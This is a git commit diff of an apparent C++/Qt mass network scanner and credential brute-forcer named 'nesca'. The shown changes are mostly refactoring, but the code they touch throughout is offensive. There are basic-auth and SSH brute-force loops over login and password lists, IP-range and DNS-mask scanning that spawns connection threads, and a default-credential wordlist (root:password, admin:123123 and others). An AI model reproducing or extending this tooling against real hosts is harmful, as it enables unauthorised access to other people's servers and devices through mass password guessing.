Merge branch 'master' of git.d3w.org:cora32/nesca

This commit is contained in:
cora48 2015-03-24 14:28:18 +03:00
commit 462729914a
14 changed files with 39 additions and 29 deletions

View File

@ -54,7 +54,7 @@ lopaStr BA::BABrute(const char *ip, const int port) {
return lps; return lps;
}; };
if (BALogSwitched) stt->doEmitionBAData("FTP: " + QString(ip) + ":" + QString::number(port) + if (BALogSwitched) stt->doEmitionBAData("BA: " + QString(ip) + ":" + QString::number(port) +
"; l/p: " + QString(loginLst[i]) + ":" + QString(passLst[j]) + "; - Progress: (" + "; l/p: " + QString(loginLst[i]) + ":" + QString(passLst[j]) + "; - Progress: (" +
QString::number((++passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)"); QString::number((++passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)");

View File

@ -1,9 +1,8 @@
#ifndef BASICAUTH_H #ifndef BASICAUTH_H
#define BASICAUTH_H #define BASICAUTH_H
#include "Connector.h"
#include "BruteUtils.h"
#include "Utils.h" #include "Utils.h"
#include "Connector.h"
#include "externData.h" #include "externData.h"
#include "mainResources.h" #include "mainResources.h"

View File

@ -1,6 +1,8 @@
#ifndef BRUTEUTILS_H #ifndef BRUTEUTILS_H
#define BRUTEUTILS_H #define BRUTEUTILS_H
#include "externData.h"
class BruteUtils { class BruteUtils {
public: public:

View File

@ -1,8 +1,8 @@
#ifndef CHECKKEY_TH_H #ifndef CHECKKEY_TH_H
#define CHECKKEY_TH_H #define CHECKKEY_TH_H
#pragma once
#include "STh.h" #include "STh.h"
extern int emitIfOK; extern int emitIfOK;
class CheckKey_Th : public QThread class CheckKey_Th : public QThread
{ {

View File

@ -1,4 +1,5 @@
#include "Connector.h" #include "Connector.h"
#include "SSHAuth.h"
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) #if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
int _pingMyTarget(const char *ip) int _pingMyTarget(const char *ip)
@ -194,7 +195,7 @@ int Connector::nConnect(const char* ip, const int port, std::string *buffer,
QString(ip) + ":" + QString::number(port)); QString(ip) + ":" + QString::number(port));
return -2; return -2;
} else if (res == 8) { } else if (res == 8) {
stt->doEmitionFoundData("Strange ftp repl. (" + stt->doEmitionFoundData("Strange ftp reply. (" +
QString::number(res) + ") " + QString(ip) + QString::number(res) + ") " + QString(ip) +
":" + QString::number(port)); ":" + QString::number(port));
return -2; return -2;
@ -227,7 +228,7 @@ int Connector::nConnect(const char* ip, const int port, std::string *buffer,
return buffer->size(); return buffer->size();
} }
int Connector::_ConnectToPort(string ip, int port, char *hl) int Connector::_ConnectToPort(std::string ip, int port, char *hl)
{ {
if(gPingNScan) if(gPingNScan)
{ {

View File

@ -1,11 +1,8 @@
#ifndef CONNECTOR_H #ifndef CONNECTOR_H
#define CONNECTOR_H #define CONNECTOR_H
#include "externData.h"
#include "Utils.h"
#include "BruteUtils.h"
#include "SSHAuth.h"
#include "STh.h" #include "STh.h"
#include "BruteUtils.h"
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) #if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
#include <iphlpapi.h> #include <iphlpapi.h>
@ -13,16 +10,13 @@
#pragma comment(lib, "iphlpapi.lib") #pragma comment(lib, "iphlpapi.lib")
#pragma comment(lib,"curllib.lib") #pragma comment(lib,"curllib.lib")
#endif #endif
#include "mainResources.h"
class Connector { class Connector {
public: public:
static int nConnect(const char* ip, const int port, std::string *buffer, static int nConnect(const char* ip, const int port, std::string *buffer,
const char *postData = NULL, const char *postData = NULL,
const std::vector<std::string> *customHeaders = NULL, const std::vector<std::string> *customHeaders = NULL,
const string *lpString = NULL); const std::string *lpString = NULL);
static int _ConnectToPort(string ip, int port, char *hl); static int _ConnectToPort(std::string ip, int port, char *hl);
static int _SSHLobby(std::string ip, int port, std::string *buffer);
}; };
#endif // CONNECTOR_H #endif // CONNECTOR_H

View File

@ -109,7 +109,7 @@ int MakePolygonLine(int gWidth)
if(Alive > 0) if(Alive > 0)
{ {
if(xtx < 261 ) fact7+=1; if(xtx < 254 ) fact7+=1;
else fact7-=1; else fact7-=1;
}; };
}; };

View File

@ -1,9 +1,8 @@
#ifndef FTPAUTH_H #ifndef FTPAUTH_H
#define FTPAUTH_H #define FTPAUTH_H
#include "Connector.h"
#include "BruteUtils.h"
#include "Utils.h" #include "Utils.h"
#include "Connector.h"
#include "externData.h" #include "externData.h"
#include "mainResources.h" #include "mainResources.h"

View File

@ -94,6 +94,10 @@ int SSHBrute(const char* host, int port, std::string *buffer, const char *banner
if(!globalScanFlag) break; if(!globalScanFlag) break;
strcpy(temp, sshlpLst[i]); strcpy(temp, sshlpLst[i]);
ptr1 = strstr(temp, ":"); ptr1 = strstr(temp, ":");
if (ptr1 == NULL) {
stt->doEmitionRedFoundData("[SSH]Wrong format: " + QString(temp));
return -1;
}
sz = ptr1 - temp; sz = ptr1 - temp;
strncpy(login, temp, sz); strncpy(login, temp, sz);
strcpy(pass, ptr1 + 1); strcpy(pass, ptr1 + 1);

View File

@ -1,9 +1,8 @@
#ifndef SSHAUTH_H #ifndef SSHAUTH_H
#define SSHAUTH_H #define SSHAUTH_H
#include "Connector.h"
#include "BruteUtils.h"
#include "Utils.h" #include "Utils.h"
#include "Connector.h"
#include "externData.h" #include "externData.h"
#include "mainResources.h" #include "mainResources.h"

View File

@ -2187,6 +2187,11 @@ void nesca_3::changeNSTrackLabel(bool status)
else ui->NSTrackStatusLabel->setStyleSheet("background-color: black; border: 1px solid white;"); else ui->NSTrackStatusLabel->setStyleSheet("background-color: black; border: 1px solid white;");
} }
void nesca_3::onLinkClicked(QUrl link)
{
QDesktopServices::openUrl(link);
}
void nesca_3::ConnectEvrthng() void nesca_3::ConnectEvrthng()
{ {
connect ( pbTh, SIGNAL(upd()), this, SLOT(slotPBUpdate())); connect ( pbTh, SIGNAL(upd()), this, SLOT(slotPBUpdate()));

View File

@ -61,6 +61,7 @@ protected:
QString GetSSLContent(QString str); QString GetSSLContent(QString str);
void SSLConnect(QString str); void SSLConnect(QString str);
protected slots: protected slots:
void onLinkClicked(QUrl);
void MaxBrutingThr_ChangeValue(QString str); void MaxBrutingThr_ChangeValue(QString str);
void ThreadDelay_ChangeValue(QString val); void ThreadDelay_ChangeValue(QString val);
void ChangePingerOK(bool val); void ChangePingerOK(bool val);

View File

@ -204,7 +204,13 @@ void _SaveBackupToFile()
FILE *savingFile = fopen("tempIPLst.bk", "w"); FILE *savingFile = fopen("tempIPLst.bk", "w");
if (savingFile != NULL) if (savingFile != NULL)
{ {
for(int tCounter = gC; tCounter < flCounter; ++tCounter) sprintf(ipRange, "%s-%d.%d.%d.%d\n",
currentIP,
ipsendfl[gC][0], ipsendfl[gC][1], ipsendfl[gC][2], ipsendfl[gC][3]);
fputs(ipRange, savingFile);
ZeroMemory(ipRange, sizeof(ipRange));
for(int tCounter = gC + 1; tCounter < flCounter; ++tCounter)
{ {
sprintf(ipRange, "%d.%d.%d.%d-%d.%d.%d.%d\n", sprintf(ipRange, "%d.%d.%d.%d-%d.%d.%d.%d\n",
ipsstartfl[tCounter][0], ipsstartfl[tCounter][1], ipsstartfl[tCounter][2], ipsstartfl[tCounter][3], ipsstartfl[tCounter][0], ipsstartfl[tCounter][1], ipsstartfl[tCounter][2], ipsstartfl[tCounter][3],
@ -751,7 +757,7 @@ std::string toLowerStr(const char *str)
} }
void _connect() { void _connect() {
string ip = ""; std::string ip = "";
while (globalScanFlag) { while (globalScanFlag) {
std::unique_lock<std::mutex> lk(Threader::m); std::unique_lock<std::mutex> lk(Threader::m);
Threader::cv.wait(lk, []{return Threader::ready; }); Threader::cv.wait(lk, []{return Threader::ready; });
@ -781,7 +787,7 @@ void _connect() {
} }
} }
inline void progressOutput(long long unsigned int target) { inline void progressOutput(unsigned long target) {
char targetNPers[128] = {0}; char targetNPers[128] = {0};
float percent = (gTargetsOverall != 0 ? (100 - target/(double)gTargetsOverall * 100) : 0); float percent = (gTargetsOverall != 0 ? (100 - target/(double)gTargetsOverall * 100) : 0);
@ -792,13 +798,13 @@ inline void progressOutput(long long unsigned int target) {
sprintf(metaPercent, "%.1f", sprintf(metaPercent, "%.1f",
percent); percent);
} }
void verboseProgress(long long unsigned int target, const char *ip) { void verboseProgress(unsigned long target, const char *ip) {
stt->doEmitionIPRANGE(QString(ip)); stt->doEmitionIPRANGE(QString(ip));
strcpy(currentIP, ip); strcpy(currentIP, ip);
progressOutput(target); progressOutput(target);
} }
void verboseProgressDNS(long long unsigned int target, const char *ip, const char *TLD, const char *mask) { void verboseProgressDNS(unsigned long target, const char *ip, const char *TLD, const char *mask) {
stt->doEmitionIPRANGE(QString(ip) + QString(TLD)); stt->doEmitionIPRANGE(QString(ip) + QString(TLD));
strcpy(currentIP, mask); strcpy(currentIP, mask);
@ -2065,7 +2071,7 @@ int _GetDNSFromMask(char *mask, char *saveMask, char *saveMaskEnder) {
if(!globalScanFlag) return 0; if(!globalScanFlag) return 0;
verboseProgressDNS(--gTargets, mask, top_level_domain, saveMask); verboseProgressDNS(--gTargets, mask, top_level_domain, saveMask);
string res = string(mask) + string(top_level_domain); std::string res = std::string(mask) + std::string(top_level_domain);
++indexIP; ++indexIP;
@ -2193,7 +2199,7 @@ int startScan(char* args) {
++indexIP; ++indexIP;
tAddr.s_addr = ntohl(i); tAddr.s_addr = ntohl(i);
res = string(inet_ntoa(tAddr)); res = std::string(inet_ntoa(tAddr));
verboseProgress(gTargets--, res.c_str()); verboseProgress(gTargets--, res.c_str());
Threader::fireThread(res, (void*(*)(void))_connect); Threader::fireThread(res, (void*(*)(void))_connect);
@ -2398,7 +2404,7 @@ int startScan(char* args) {
++indexIP; ++indexIP;
tAddr.s_addr = ntohl(i); tAddr.s_addr = ntohl(i);
std::string res = string(inet_ntoa(tAddr)); std::string res = std::string(inet_ntoa(tAddr));
verboseProgress(gTargets--, res.c_str()); verboseProgress(gTargets--, res.c_str());
Threader::fireThread(res, (void*(*)(void))_connect); Threader::fireThread(res, (void*(*)(void))_connect);
} }

View File

@ -22,5 +22,5 @@ admin:123123
admin:654321 admin:654321
root:password root:password
admin:pasword admin:pasword
test:test
root:1qazXSW@ root:1qazXSW@
test:test